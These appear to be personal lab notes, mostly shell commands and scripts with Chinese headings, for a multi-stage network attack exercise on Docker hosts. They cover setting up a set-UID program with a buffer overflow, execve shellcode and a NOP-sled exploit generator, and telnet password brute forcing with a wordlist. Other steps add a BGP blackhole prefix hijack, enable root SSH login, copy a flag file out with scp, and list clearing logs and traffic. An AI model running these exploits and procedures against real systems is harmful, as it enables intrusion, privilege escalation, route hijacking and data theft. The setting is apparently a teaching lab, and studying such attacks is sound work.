docker exec -it xx /bin/bash
tcpdump -w /tmp/result.pcap
主机
g++ WebConstructor.cpp -o web
./web
source ./net.sh
钓鱼
sudo su
source Attack-1-Fishing.sh
横向移动
AS180_host1:
vim as180_host1.sh
sysctl -w kernel.randomize_va_space=0
rm /bin/sh
ln -s /bin/zsh /bin/sh
cd /home/haihai
echo "Begin to write stack.c."
if [ $# -lt 1 ]; then
filename="stack.c"
else
filename=$1
fi
cat>$filename<<EOF
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
EOF
if [ $# -lt 1 ]; then
filename1="call_shellcode.c"
else
filename1=$1
fi
cat>$filename1<<EOF
/* call_shellcode.c*/
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl %0x68732f2f */
"\x68""/bin" /* Line 4: pushl %0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdql */
"\xb0\x0b" /* Line10: movb $0x0b,%al */
"\xcd\x80" /* Line11: int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
EOF
if [ $# -lt 1 ]; then
filename2="important_flag.txt"
else
filename2=$1
fi
cat>$filename2<<EOF
SEU IMPORTANT NEWS
2022-5-17 18:06
BIG NEWS!
EOF
chmod 700 important_flag.txt
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
gcc -m32 -g -z execstack -fno-stack-protector -o call_shellcode call_shellcode.c
echo "stack.c has been Compiled as stack."
chmod u+s stack
chmod u+s call_shellcode
echo "Stack has been Changed into set-UID program."
touch badfile
echo "badfile has been Created."
iptables -I INPUT -p tcp --dport 23 -j ACCEPT
echo "Port 23 has been Opened."
cd /etc/init.d
./openbsd-inetd restart
# cd /home/haihai
# su haihai
source ./as180_host1.sh
AS163_host0:
vim attack-2.sh
#!/bin/bash
iptables -I INPUT -p tcp --dport 22 -j ACCEPT
echo "Begin to write password.txt."
if [ $# -lt 1 ]; then
filename="password.txt"
else
filename=$1
fi
cat>$filename<<EOF
qq3180243
haihai_3180243
Haihai
Haihai3180243
Haihai243
QQ3180243
qq_haihai
haihai243
243haihai
3180243haihai
3180243QQ
3180haihai
qwerhaihai
password
123
1234
12345678
88888888
p@ssword
P@ssword
qwerhaihai12345678
EOF
echo "Begin to use password.txt to telnet the target address 10.180.0.72."
if [ $# -lt 1 ]; then
filename2="exploit.c"
else
filename2=$1
fi
cat>$filename2<<EOF
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x44\xd5\xff\xff");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
EOF
echo "exploit.c has been written, waiting for some changes..."
netwox 101 -i 10.180.0.72 -L haihai -w /password.txt
source ./attack-2.sh
telnet 10.180.0.72
haihai
qq3180243
BGP(记得关)
vim attack-3.sh
#暂未实现
vi /etc/bird/bird.conf
在最末尾加
protocol static hijacks{
ipv4{
table t_bgp;
};
route 10.180.0.0/25 blackhole { bgp_large_community.add(LOCAL_COMM);};
route 10.180.0.128/25 blackhole { bgp_large_community.add(LOCAL_COMM);};
}
birdc configure
提权
vim attack-4.sh
#暂未实现
./call_shellcode
#缓冲区攻击,提权
gdb ./stack
run
disassemble /m main
b *0x565562b9
run
i r $esp ffffd4e0 0xffffd7a4
vim exploit.c 改一下参数
去受害机的root权限下
gcc -m32 -g -z execstack exploit exploit.c
chmod u+s exploit
回到攻击机
./exploit
./stack
回传
攻击机
在/etc/ssh/sshd_config中最后添加:
PermitRootLogin yes
PermitEmptyPasswords no
PasswordAuthentication yes
./etc/init.d/ssh restart
vim ~/.bashrc
注释掉链接zsh的语句。
telnet 10.180.0.72
root
123
cd /home/haihai
scp important_flag.txt root@10.163.0.71:/home
sudo docker cp fe0:/as163.pcap /home/seed/Desktop
清除痕迹
关bgp
清除日志和流量
history -p